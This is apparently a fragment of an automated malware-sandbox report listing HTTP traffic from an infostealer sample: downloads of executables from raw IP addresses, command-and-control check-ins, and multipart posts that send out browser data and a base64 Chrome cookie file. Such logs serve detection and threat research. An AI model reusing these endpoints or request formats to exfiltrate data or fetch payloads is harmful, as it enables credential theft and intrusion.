r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: GET /inc/gold.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /12dsvc.exe HTTP/1.1Host: 194.116.215.195
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /Nework.exe HTTP/1.1Host: 185.215.113.26
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /inc/stealc_default2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.17Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000066001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: GET /thebig/stories.exe HTTP/1.1Host: 176.113.115.95
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.17Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 39 45 32 46 37 32 32 41 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="hwid"EF9E2F722A951117388365------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="build"default2------HJECAAKKFHCFIECAAAKE--
Source: global traffic HTTP traffic detected: GET /inc/needmoney.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 185.215.113.17Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"browsers------AFHDAKJKFCFBGCBGDHCB--
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBKHost: 185.215.113.17Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="message"plugins------CBKJJEHCBAKFBFHJKFBK--
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCHost: 185.215.113.17Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="message"fplugins------BKEBFHIJECFIDGDGCGHC--
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.17Content-Length: 6567Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 30 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000065001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.17Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHIHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 2d 2d 0d 0a Data Ascii: ------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="file"------KJKKJKEHDBGIDGDHCFHI--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000191001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /inc/penis.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="file"------GCAKKECAEGDGCBFIJEGH--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000254001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000290001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
